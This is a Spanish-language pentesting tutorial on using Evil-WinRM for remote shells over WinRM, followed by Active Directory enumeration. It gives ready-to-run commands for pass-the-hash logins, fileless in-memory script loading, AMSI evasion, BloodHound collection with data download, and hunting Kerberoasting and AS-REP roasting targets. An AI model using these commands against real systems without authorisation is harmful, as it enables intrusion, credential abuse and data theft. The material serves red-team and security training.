Evil-WinRM shell remota a través del servicio WinRM
Evil-WinRM shell remota a través del servicio WinRM
Evil-WinRM es la herramienta estándar para red teams y pentesters cuando se busca obtener una shell remota interactiva en un sistema Windows a través del servicio WinRM (Windows Remote Management).
Suele ejecutarse sobre los puertos 5985 (HTTP) y 5986 (HTTPS).
1. Instalación en Kali Linux
En la mayoría de las versiones de Kali Linux viene preinstalada o disponible en los repositorios oficiales:
sudo apt update && sudo apt install evil-winrm
También se puede instalar como gema de Ruby:
sudo gem install evil-winrm
2. Comandos de Uso Frecuentes
Conexión básica (Usuario y Contraseña)
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!'
Ataque Pass-the-Hash (Con Hash NTLM)
Si no tienes la contraseña en texto plano pero obtuviste el hash NTLM:
evil-winrm -i 192.168.1.50 -u Administrador -H 32ed87bdb5fdc5e9cba88547376818d4
Conexión Segura (SSL / Puerto 5986)
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!' -S
Cargar Scripts de PowerShell al Iniciar
Puedes especificar un directorio local donde tengas scripts de PowerShell (como PowerUp o BloodHound) para cargarlos automáticamente en memoria:
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!' -s /usr/share/powershell-empire/empire/server/data/module_source/privesc/
3. Comandos Útiles Dentro de la Shell de Evil-WinRM
Una vez establecida la sesión, Evil-WinRM proporciona comandos integrados muy útiles que simplifican el trabajo:
| Comando | Descripción |
upload <archivo_local> <ruta_remota> | Sube un archivo desde tu Kali al sistema objetivo. |
download <archivo_remoto> <ruta_local> | Descarga un archivo del sistema objetivo hacia tu Kali. |
menu | Muestra las funciones cargadas en memoria (scripts .ps1 o DLLs). |
services | Lista los servicios del sistema objetivo. |
Bypass-4K | Intenta evadir ciertos mecanismos de detección/AMSI de PowerShell. |
Nota de seguridad: Para que Evil-WinRM funcione, el objetivo debe tener habilitado el servicio WinRM (muy común en entornos Active Directory) y tu usuario debe pertenecer al grupo Remote Management Users o Administrators.
Para enumerar un dominio de Active Directory (AD) desde una sesión interactiva de Evil-WinRM, la ventaja clave es que puedes cargar scripts directamente en la memoria del objetivo sin necesidad de escribirlos en el disco (fileless execution), evitando así muchas alertas de antivirus.
1. Cargar Scripts de PowerShell en Memoria con Evil-WinRM
Puedes cargar scripts locales de Kali Linux en la sesión objetivo usando el parámetro -s al conectar:
evil-winrm -i 192.168.1.50 -u Administrador -p 'Contraseña123!' -s /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/
O cargarlo dinámicamente dentro de la sesión de Evil-WinRM usando el comando nativo upload o el comando de PowerShell Import-Module:
Import-Module .\PowerView.ps1
2. Herramientas y Scripts Principales para Enumeración
A. PowerView (Parte de PowerSploit)
Es la herramienta por excelencia para la enumeración de Active Directory mediante PowerShell.
| Comando de PowerView | Propósito / Información obtenida |
Get-Domain | Información básica del dominio actual (SID, nombre, controladores de dominio). |
Get-DomainController | Identifica los Domain Controllers del entorno. |
Get-DomainUser | Lista todos los usuarios del dominio. |
Get-DomainUser -PreauthNotRequired | Identifica cuentas vulnerables a AS-REP Roasting. |
Get-DomainGroupMember -Identity "Domain Admins" | Muestra los miembros del grupo Domain Admins. |
Get-DomainComputer -Properties Name, OperatingSystem | Lista todos los equipos y servidores unidos al dominio. |
Get-DomainSPNCheck / Get-DomainUser -SPN | Busca usuarios con Service Principal Names para realizar Kerberoasting. |
Get-DomainGPO | Muestra las Directivas de Grupo (GPO) aplicadas en el dominio. |
Get-DomainTrust | Muestra las relaciones de confianza (trusts) con otros dominios o bosques. |
B. BloodHound (Ingestor: SharpHound.ps1)
Para recolectar la estructura completa de relaciones, permisos y rutas de ataque dentro del dominio para analizarlas visualmente en BloodHound.
# Importar el módulo dentro de la sesión de Evil-WinRM
Import-Module .\SharpHound.ps1
# Ejecutar la recolección completa (genera un archivo .zip)
Invoke-BloodHound -CollectionMethod All -ZipFileName "datos_ad.zip"
Una vez generado el archivo .zip, puedes bajarlo a tu Kali usando el comando nativo de Evil-WinRM:
download datos_ad.zip /home/kali/datos_ad.zip
C. Módulo Nativo ActiveDirectory de PowerShell
Si el equipo donde iniciaste sesión tiene instaladas las herramientas RSAT (Remote Server Administration Tools), puedes usar el módulo nativo sin cargar scripts externos:
# Cargar el módulo nativo si está presente
Import-Module ActiveDirectory
# Ejemplos de uso nativo:
Get-ADDomain
Get-ADUser -Filter * -Properties SamAccountName, Enabled
Get-ADGroupMember -Identity "Administradores del dominio"
Get-ADComputer -Filter * -Properties Name, IPv4Address
3. Comandos Útiles de PowerShell Sin Módulos Externos
Si no puedes subir scripts y el módulo ActiveDirectory no está instalado, puedes realizar consultas básicas a AD usando ADSI (Active Directory Service Interfaces) o el comando net:
# Enumerar usuarios del dominio
net user /domain
# Enumerar miembros del grupo Administradores del Dominio
net group "Domain Admins" /domain
# Localizar el Controlador de Dominio principal
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# Buscar usuarios con el atributo SPN activado (Kerberoasting rápido)
$search = [ADSISearcher]"(servicePrincipalName=*)"
$search.FindAll()